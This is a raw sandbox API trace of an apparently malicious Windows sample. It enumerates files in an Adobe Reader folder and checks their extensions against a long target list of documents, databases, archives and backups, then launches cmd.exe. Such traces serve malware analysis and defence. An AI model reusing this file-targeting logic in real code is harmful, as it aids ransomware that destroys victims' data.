ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x83849600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x83849600, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x624540 [0281.046] FindNextFileW (in: hFindFile=0x624540, lpFindFileData=0x38ee920 | out: lpFindFileData=0x38ee920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x834450e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x83849600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x83849600, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0281.046] FindNextFileW (in: hFindFile=0x624540, lpFindFileData=0x38ee920 | out: lpFindFileData=0x38ee920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83849600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5f76c, dwReserved0=0x0, dwReserved1=0x0, cFileName="HKSCS.txt", cAlternateFileName="")) returned 1 [0281.047] lstrlenW (lpString="HKSCS.txt") returned 9 [0281.047] lstrlenW (lpString=".1cd") returned 4 [0281.047] lstrcmpiW (lpString1=".1cd", lpString2=".txt") returned -1 [0281.047] lstrlenW (lpString=".3ds") returned 4 [0281.047] lstrcmpiW (lpString1=".3ds", lpString2=".txt") returned -1 [0281.047] lstrlenW (lpString=".3fr") returned 4 [0281.047] lstrcmpiW (lpString1=".3fr", lpString2=".txt") returned -1 [0281.047] lstrlenW (lpString=".3g2") returned 4 [0281.047] lstrcmpiW (lpString1=".3g2", lpString2=".txt") returned -1 [0281.048] lstrlenW (lpString=".3gp") returned 4 [0281.048] lstrcmpiW (lpString1=".3gp", lpString2=".txt") returned -1 [0281.048] lstrlenW (lpString=".7z") returned 3 [0281.048] lstrcmpiW (lpString1=".7z", lpString2="txt") returned -1 [0281.048] lstrlenW (lpString=".accda") returned 6 [0281.048] lstrcmpiW (lpString1=".accda", lpString2="CS.txt") returned -1 [0281.048] lstrlenW (lpString=".accdb") returned 6 [0281.048] lstrcmpiW (lpString1=".accdb", lpString2="CS.txt") returned -1 [0281.048] lstrlenW (lpString=".accdc") returned 6 [0281.049] lstrcmpiW (lpString1=".accdc", lpString2="CS.txt") returned -1 [0281.049] lstrlenW (lpString=".accde") returned 6 [0281.049] lstrcmpiW (lpString1=".accde", lpString2="CS.txt") returned -1 [0281.049] lstrlenW (lpString=".accdt") returned 6 [0281.049] lstrcmpiW (lpString1=".accdt", lpString2="CS.txt") returned -1 [0281.049] lstrlenW (lpString=".accdw") returned 6 [0281.049] lstrcmpiW (lpString1=".accdw", lpString2="CS.txt") returned -1 [0281.049] lstrlenW (lpString=".adb") returned 4 [0281.049] lstrcmpiW (lpString1=".adb", lpString2=".txt") returned -1 [0281.049] lstrlenW (lpString=".adp") returned 4 [0281.050] lstrcmpiW (lpString1=".adp", lpString2=".txt") returned -1 [0281.050] lstrlenW (lpString=".ai") returned 3 [0281.050] lstrcmpiW (lpString1=".ai", lpString2="txt") returned -1 [0281.050] lstrlenW (lpString=".ai3") returned 4 [0281.050] lstrcmpiW (lpString1=".ai3", lpString2=".txt") returned -1 [0281.050] lstrlenW (lpString=".ai4") returned 4 [0281.050] lstrcmpiW (lpString1=".ai4", lpString2=".txt") returned -1 [0281.050] lstrlenW (lpString=".ai5") returned 4 [0281.051] lstrcmpiW (lpString1=".ai5", lpString2=".txt") returned -1 [0281.051] lstrlenW (lpString=".ai6") returned 4 [0281.051] lstrcmpiW (lpString1=".ai6", lpString2=".txt") returned -1 [0281.051] lstrlenW (lpString=".ai7") returned 4 [0281.052] lstrcmpiW (lpString1=".ai7", lpString2=".txt") returned -1 [0281.052] lstrlenW (lpString=".ai8") returned 4 [0281.052] lstrcmpiW (lpString1=".ai8", lpString2=".txt") returned -1 [0281.052] lstrlenW (lpString=".anim") returned 5 [0281.052] lstrcmpiW (lpString1=".anim", lpString2="S.txt") returned -1 [0281.052] lstrlenW (lpString=".arw") returned 4 [0281.052] lstrcmpiW (lpString1=".arw", lpString2=".txt") returned -1 [0281.052] lstrlenW (lpString=".as") returned 3 [0281.052] lstrcmpiW (lpString1=".as", lpString2="txt") returned -1 [0281.052] lstrlenW (lpString=".asa") returned 4 [0281.052] lstrcmpiW (lpString1=".asa", lpString2=".txt") returned -1 [0281.052] lstrlenW (lpString=".asc") returned 4 [0281.053] lstrcmpiW (lpString1=".asc", lpString2=".txt") returned -1 [0281.053] lstrlenW (lpString=".ascx") returned 5 [0281.053] lstrcmpiW (lpString1=".ascx", lpString2="S.txt") returned -1 [0281.053] lstrlenW (lpString=".asm") returned 4 [0281.053] lstrcmpiW (lpString1=".asm", lpString2=".txt") returned -1 [0281.053] lstrlenW (lpString=".asmx") returned 5 [0281.054] lstrcmpiW (lpString1=".asmx", lpString2="S.txt") returned -1 [0281.054] lstrlenW (lpString=".asp") returned 4 [0281.054] lstrcmpiW (lpString1=".asp", lpString2=".txt") returned -1 [0281.054] lstrlenW (lpString=".aspx") returned 5 [0281.054] lstrcmpiW (lpString1=".aspx", lpString2="S.txt") returned -1 [0281.054] lstrlenW (lpString=".asr") returned 4 [0281.054] lstrcmpiW (lpString1=".asr", lpString2=".txt") returned -1 [0281.054] lstrlenW (lpString=".asx") returned 4 [0281.054] lstrcmpiW (lpString1=".asx", lpString2=".txt") returned -1 [0281.054] lstrlenW (lpString=".avi") returned 4 [0281.054] lstrcmpiW (lpString1=".avi", lpString2=".txt") returned -1 [0281.055] lstrlenW (lpString=".avs") returned 4 [0281.055] lstrcmpiW (lpString1=".avs", lpString2=".txt") returned -1 [0281.055] lstrlenW (lpString=".backup") returned 7 [0281.055] lstrcmpiW (lpString1=".backup", lpString2="SCS.txt") returned -1 [0281.055] lstrlenW (lpString=".bak") returned 4 [0281.055] lstrcmpiW (lpString1=".bak", lpString2=".txt") returned -1 [0281.055] lstrlenW (lpString=".bay") returned 4 [0281.055] lstrcmpiW (lpString1=".bay", lpString2=".txt") returned -1 [0281.055] lstrlenW (lpString=".bd") returned 3 [0281.055] lstrcmpiW (lpString1=".bd", lpString2="txt") returned -1 [0281.055] lstrlenW (lpString=".bin") returned 4 [0281.056] lstrcmpiW (lpString1=".bin", lpString2=".txt") returned -1 [0281.056] lstrlenW (lpString=".bmp") returned 4 [0281.056] lstrcmpiW (lpString1=".bmp", lpString2=".txt") returned -1 [0281.056] lstrlenW (lpString=".bz2") returned 4 [0281.056] lstrcmpiW (lpString1=".bz2", lpString2=".txt") returned -1 [0281.056] lstrlenW (lpString=".c") returned 2 [0281.056] lstrcmpiW (lpString1=".c", lpString2="xt") returned -1 [0281.056] lstrlenW (lpString=".cdr") returned 4 [0281.056] lstrcmpiW (lpString1=".cdr", lpString2=".txt") returned -1 [0281.056] lstrlenW (lpString=".cer") returned 4 [0281.056] lstrcmpiW (lpString1=".cer", lpString2=".txt") returned -1 [0281.056] lstrlenW (lpString=".cf") returned 3 [0281.056] lstrcmpiW (lpString1=".cf", lpString2="txt") returned -1 [0281.057] lstrlenW (lpString=".cfc") returned 4 [0281.057] lstrcmpiW (lpString1=".cfc", lpString2=".txt") returned -1 [0281.057] lstrlenW (lpString=".cfm") returned 4 [0281.057] lstrcmpiW (lpString1=".cfm", lpString2=".txt") returned -1 [0281.057] lstrlenW (lpString=".cfml") returned 5 [0281.057] lstrcmpiW (lpString1=".cfml", lpString2="S.txt") returned -1 [0281.058] lstrlenW (lpString=".cfu") returned 4 [0281.058] lstrcmpiW (lpString1=".cfu", lpString2=".txt") returned -1 [0281.058] lstrlenW (lpString=".chm") returned 4 [0281.058] lstrcmpiW (lpString1=".chm", lpString2=".txt") returned -1 [0281.058] lstrlenW (lpString=".cin") returned 4 [0281.058] lstrcmpiW (lpString1=".cin", lpString2=".txt") returned -1 [0281.058] lstrlenW (lpString=".class") returned 6 [0281.058] lstrcmpiW (lpString1=".class", lpString2="CS.txt") returned -1 [0281.059] lstrlenW (lpString=".clx") returned 4 [0281.059] lstrcmpiW (lpString1=".clx", lpString2=".txt") returned -1 [0281.059] lstrlenW (lpString=".config") returned 7 [0281.059] lstrcmpiW (lpString1=".config", lpString2="SCS.txt") returned -1 [0281.059] lstrlenW (lpString=".cpp") returned 4 [0281.059] lstrcmpiW (lpString1=".cpp", lpString2=".txt") returned -1 [0281.059] lstrlenW (lpString=".cr2") returned 4 [0281.059] lstrcmpiW (lpString1=".cr2", lpString2=".txt") returned -1 [0281.059] lstrlenW (lpString=".crt") returned 4 [0281.059] lstrcmpiW (lpString1=".crt", lpString2=".txt") returned -1 [0281.059] lstrlenW (lpString=".crw") returned 4 [0281.059] lstrcmpiW (lpString1=".crw", lpString2=".txt") returned -1 [0281.060] lstrlenW (lpString=".cs") returned 3 [0281.060] lstrcmpiW (lpString1=".cs", lpString2="txt") returned -1 [0281.060] lstrlenW (lpString=".css") returned 4 [0281.060] lstrcmpiW (lpString1=".css", lpString2=".txt") returned -1 [0281.060] lstrlenW (lpString=".csv") returned 4 [0281.060] lstrcmpiW (lpString1=".csv", lpString2=".txt") returned -1 [0281.060] lstrlenW (lpString=".cub") returned 4 [0281.060] lstrcmpiW (lpString1=".cub", lpString2=".txt") returned -1 [0281.061] lstrlenW (lpString=".dae") returned 4 [0281.061] lstrcmpiW (lpString1=".dae", lpString2=".txt") returned -1 [0281.061] lstrlenW (lpString=".dat") returned 4 [0281.061] lstrcmpiW (lpString1=".dat", lpString2=".txt") returned -1 [0281.062] lstrlenW (lpString=".db") returned 3 [0281.062] lstrcmpiW (lpString1=".db", lpString2="txt") returned -1 [0281.062] lstrlenW (lpString=".dbf") returned 4 [0281.062] lstrcmpiW (lpString1=".dbf", lpString2=".txt") returned -1 [0281.062] lstrlenW (lpString=".dbx") returned 4 [0281.062] lstrcmpiW (lpString1=".dbx", lpString2=".txt") returned -1 [0281.062] lstrlenW (lpString=".dc3") returned 4 [0281.062] lstrcmpiW (lpString1=".dc3", lpString2=".txt") returned -1 [0281.062] lstrlenW (lpString=".dcm") returned 4 [0281.062] lstrcmpiW (lpString1=".dcm", lpString2=".txt") returned -1 [0281.062] lstrlenW (lpString=".dcr") returned 4 [0281.062] lstrcmpiW (lpString1=".dcr", lpString2=".txt") returned -1 [0281.063] lstrlenW (lpString=".der") returned 4 [0281.063] FindClose (in: hFindFile=0x624540 | out: hFindFile=0x624540) returned 1 [0281.064] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x439e000 | out: hHeap=0x590000) returned 1 [0281.064] FindNextFileW (in: hFindFile=0x6243c0, lpFindFileData=0x38eeb9c | out: lpFindFileData=0x38eeb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x834450e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x83680580, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x83680580, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mac", cAlternateFileName="")) returned 1 [0281.064] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac") returned 82 [0281.065] FindFirstFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\*", lpFindFileData=0x38ee920) Thread: id = 47 os_tid = 0x6a8 Thread: id = 48 os_tid = 0x6b8 Process: id = "7" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x75189000" os_pid = "0x5bc" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0x4d0" cmd_line = "\"C:\\Windows\\system32\\cmd.exe\"" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ea7a" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 29 os_tid = 0x5c0 [0203.694] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x20f930 | out: lpSystemTimeAsFileTime=0x20f930*(dwLowDateTime=0x1a26bba0, dwHighDateTime=0x1d5e0c9)) [0203.694] GetCurrentProcessId () returned 0x5bc [0203.694] GetCurrentThreadId () returned 0x5c0 [0203.694] GetTickCount () returned 0x113dfb5 [0203.694] QueryPerformanceCounter (in: lpPerformanceCount=0x20f938 | out: lpPerformanceCount=0x20f938*=12361583200) returned 1 [0203.696] GetModuleHandleW (lpModuleName=0x0) returned 0x4aa30000 [0203.696] __set_app_type (_Type=0x1) [0203.896] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4aa57810) returned 0x0 [0203.896] __getmainargs (in: _Argc=0x4aa7a608, _Argv=0x4aa7a618, _Env=0x4aa7a610, _DoWildCard=0, _StartInfo=0x4aa5e0f4 | out: _Argc=0x4aa7a608, _Argv=0x4aa7a618, _Env=0x4aa7a610) returned 0 [0204.251] GetCurrentThreadId () returned 0x5c0 [0204.251] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x5c0) returned 0x3c [0204.252] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76bf0000 [0204.252] GetProcAddress (hModule=0x76bf0000, lpProcName="SetThreadUILanguage") returned 0x76c06d40 [0204.252] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0204.253] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0204.253] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x20f8c8 | out: phkResult=0x20f8c8*=0x0) returned 0x2 [0204.253] VirtualQuery (in: lpAddress=0x20f8b0, lpBuffer=0x20f830, dwLength=0x30 | out: lpBuffer=0x20f830*(BaseAddress=0x20f000, AllocationBase=0x110000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0204.253] VirtualQuery (in: lpAddress=0x110000, lpBuffer=0x20f830, dwLength=0x30 | out: lpBuffer=0x20f830*(BaseAddress=0x110000, AllocationBase=0x110000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0204.254] VirtualQuery (in: lpAddress=0x111000, lpBuffer=0x20f830, dwLength=0x30 | out: lpBuffer=0x20f830*(BaseAddress=0x111000, AllocationBase=0x110000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0204.254] VirtualQuery (in: lpAddress=0x114000, lpBuffer=0x20f830, dwLength=0x30 | out: lpBuffer=0x20f830*(BaseAddress=0x114000, AllocationBase=0x110000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0204.254] VirtualQuery (in: lpAddress=0x210000, lpBuffer=0x20f830, dwLength=0x30 | out: lpBuffer=0x20f830*(BaseAddress=0x210000, AllocationBase=0x0, AllocationProtect=0x0, __alignment1=0x0, RegionSize=0x80000, State=0x10000, Protect=0x1, Type=0x0, __alignment2=0x0)) returned 0x30 [0204.254] GetConsoleOutputCP () returned 0x1b5 [0204.254] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4aa6bfe0 | out: lpCPInfo=0x4aa6bfe0) returned 1 [0204.257] SetConsoleCtrlHandler (HandlerRoutine=0x4aa53184, Add=1) returned 1 [0204.257] _get_osfhandle (_FileHandle=1) returned 0xf4 [0204.258] SetConsoleMode (hConsoleHandle=0xf4, dwMode=0x0) returned 0 [0204.258] _get_osfhandle (_FileHandle=1) returned 0xf4 [0204.258] GetConsoleMode (in: hConsoleHandle=0xf4, lpMode=0x4aa5e194 | out: lpMode=0x4aa5e194) returned 0 [0204.259] _get_osfhandle (_FileHandle=0) returned 0xe8 [0204.259] GetConsoleMode (in: hConsoleHandle=0xe8, lpMode=0x4aa5e198 | out: lpMode=0x4aa5e198) returned 0 [0204.259] GetEnvironmentStringsW () returned 0x398aa0* [0204.260] GetProcessHeap () returned 0x380000 [0204.260] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0xab4) returned 0x399560 [0204.260] FreeEnvironmentStringsW (penv=0x398aa0) returned 1 [0204.261] GetProcessHeap () returned 0x380000 [0204.261] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x8) returned 0x398920 [0204.261] GetEnvironmentStringsW () returned 0x398aa0* [0204.261] GetProcessHeap () returned 0x380000 [0204.261] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0xab4) returned 0x39a020 [0204.261] FreeEnvironmentStringsW (penv=0x398aa0) returned 1 [0204.261] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x20e788 | out: phkResult=0x20e788*=0x44) returned 0x0 [0204.262] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x20e780, lpData=0x20e7a0, lpcbData=0x20e784*=0x1000 | out: lpType=0x20e780*=0x0, lpData=0x20e7a0*=0x18, lpcbData=0x20e784*=0x1000) returned 0x2 [0204.262] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x20e780, lpData=0x20e7a0, lpcbData=0x20e784*=0x1000 | out: lpType=0x20e780*=0x4, lpData=0x20e7a0*=0x1, lpcbData=0x20e784*=0x4) returned 0x0 [0204.262] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x20e780, lpData=0x20e7a0, lpcbData=0x20e784*=0x1000 | out: lpType=0x20e780*=0x0, lpData=0x20e7a0*=0x1, lpcbData=0x20e784*=0x1000) returned 0x2 [0204.262] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x20e780, lpData=0x20e7a0, lpcbData=0x20e784*=0x1000 | out: lpType=0x20e780*=0x4, lpData=0x20e7a0*=0x0, lpcbData=0x20e784*=0x4) returned 0x0 [0204.262] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x20e780, lpData=0x20e7a0, lpcbData=0x20e784*=0x1000 | out: lpType=0x20e780*=0x4, lpData=0x20e7a0*=0x40, lpcbData=0x20e784*=0x4) returned 0x0 [0204.262] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x20e780, lpData=0x20e7a0, lpcbData=0x20e784*=0x1000 | out: lpType=0x20e780*=0x4, lpData=0x20e7a0*=0x40, lpcbData=0x20e784*=0x4) returned 0x0 [0204.263] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x20e780, lpData=0x20e7a0, lpcbData=0x20e784*=0x1000 | out: lpType=0x20e780*=0x0, lpData=0x20e7a0*=0x40, lpcbData=0x20e784*=0x1000) returned 0x2 [0204.263] RegCloseKey (hKey=0x44) returned 0x0 [0204.263] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x20e788 | out: phkResult=0x20e788*=0x44) returned 0x0 [0204.263] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x20e780, lpData=0x20e7a0, lpcbData=0x20e784*=0x1000 | out: lpType=0x20e780*=0x0, lpData=0x20e7a0*=0x40, lpcbData=0x20e784*=0x1000) returned 0x2 [0204.263] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x20e780, lpData=0x20e7a0, lpcbData=0x20e784*=0x1000 | out: lpType=0x20e780*=0x4, lpData=0x20e7a0*=0x1, lpcbData=0x20e784*=0x4) returned 0x0 [0204.263] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x20e780, lpData=0x20e7a0, lpcbData=0x20e784*=0x1000 | out: lpType=0x20e780*=0x0, lpData=0x20e7a0*=0x1, lpcbData=0x20e784*=0x1000) returned 0x2 [0204.263] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x20e780, lpData=0x20e7a0, lpcbData=0x20e784*=0x1000 | out: lpType=0x20e780*=0x4, lpData=0x20e7a0*=0x0, lpcbData=0x20e784*=0x4) returned 0x0 [0204.263] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x20e780, lpData=0x20e7a0, lpcbData=0x20e784*=0x1000 | out: lpType=0x20e780*=0x4, lpData=0x20e7a0*=0x9, lpcbData=0x20e784*=0x4) returned 0x0 [0204.264] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x20e780, lpData=0x20e7a0, lpcbData=0x20e784*=0x1000 | out: lpType=0x20e780*=0x4, lpData=0x20e7a0*=0x9, lpcbData=0x20e784*=0x4) returned 0x0 [0204.264] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x20e780, lpData=0x20e7a0, lpcbData=0x20e784*=0x1000 | out: lpType=0x20e780*=0x0, lpData=0x20e7a0*=0x9, lpcbData=0x20e784*=0x1000) returned 0x2 [0204.264] RegCloseKey (hKey=0x44) returned 0x0 [0204.264] time (in: timer=0x0 | out: timer=0x0) returned 0x5e428701 [0204.264] srand (_Seed=0x5e428701) [0204.264] GetCommandLineW () returned="\"C:\\Windows\\system32\\cmd.exe\"" [0204.264] GetCommandLineW () returned="\"C:\\Windows\\system32\\cmd.exe\"" [0204.267] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4aa6c0a0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0204.268] GetProcessHeap () returned 0x380000 [0204.268] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x218) returned 0x39aae0 [0204.268] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x39aaf0, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0204.269] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4aa5f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0204.269] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4aa5f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0204.269] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4aa5f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0204.269] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0204.269] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0204.269] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0204.269] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0204.269] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0204.269] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0204.269] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0204.269] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0204.270] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0204.270] GetProcessHeap () returned 0x380000 [0204.270] HeapFree (in: hHeap=0x380000, dwFlags=0x0, lpMem=0x399560 | out: hHeap=0x380000) returned 1 [0204.270] GetEnvironmentStringsW () returned 0x398aa0* [0204.270] GetProcessHeap () returned 0x380000 [0204.270] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0xacc) returned 0x39ad00 [0204.271] FreeEnvironmentStringsW (penv=0x398aa0) returned 1 [0204.271] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4aa5f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0204.271] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4aa5f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0204.271] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0204.271] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0204.271] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0204.271] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0204.271] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0204.271] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0204.271] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0204.271] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0204.272] GetProcessHeap () returned 0x380000 [0204.272] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x38) returned 0x3964d0 [0204.272] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x20f590 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0204.272] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x104, lpBuffer=0x20f590, lpFilePart=0x20f570 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x20f570*="system32") returned 0x13 [0204.272] GetFileAttributesW (lpFileName="C:\\Windows\\system32" (normalized: "c:\\windows\\system32")) returned 0x10 [0204.406] FindFirstFileW (in: lpFileName="C:\\Windows", lpFindFileData=0x20f2a0 | out: lpFindFileData=0x20f2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fb4a840, ftLastAccessTime.dwHighDateTime=0x1d4d57d, ftLastWriteTime.dwLowDateTime=0x2fb4a840, ftLastWriteTime.dwHighDateTime=0x1d4d57d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x59000158, cFileName="Windows", cAlternateFileName="")) returned 0x39b7e0 [0204.406] FindClose (in: hFindFile=0x39b7e0 | out: hFindFile=0x39b7e0) returned 1 [0204.406] FindFirstFileW (in: lpFileName="C:\\Windows\\system32", lpFindFileData=0x20f2a0 | out: lpFindFileData=0x20f2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfec9a6f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xba15f5a0, ftLastAccessTime.dwHighDateTime=0x1d5e0c8, ftLastWriteTime.dwLowDateTime=0xba15f5a0, ftLastWriteTime.dwHighDateTime=0x1d5e0c8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x59000158, cFileName="System32", cAlternateFileName="")) returned 0x39b7e0 [0204.407] FindClose (in: hFindFile=0x39b7e0 | out: hFindFile=0x39b7e0) returned 1 [0204.407] GetFileAttributesW (lpFileName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 0x10 [0204.407] SetCurrentDirectoryW (lpPathName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 1 [0204.407] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Windows\\System32") returned 1 [0204.407] GetProcessHeap () returned 0x380000 [0204.407] HeapFree (in: hHeap=0x380000, dwFlags=0x0, lpMem=0x39ad00 | out: hHeap=0x380000) returned 1 [0204.407] GetEnvironmentStringsW () returned 0x39ad00* [0204.407] GetProcessHeap () returned 0x380000 [0204.408] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0xafc) returned 0x398aa0 [0204.408] FreeEnvironmentStringsW (penv=0x39ad00) returned 1 [0204.408] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4aa6c0a0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0204.408] GetProcessHeap () returned 0x380000 [0204.408] HeapFree (in: hHeap=0x380000, dwFlags=0x0, lpMem=0x3964d0 | out: hHeap=0x380000) returned 1 [0204.408] GetProcessHeap () returned 0x380000 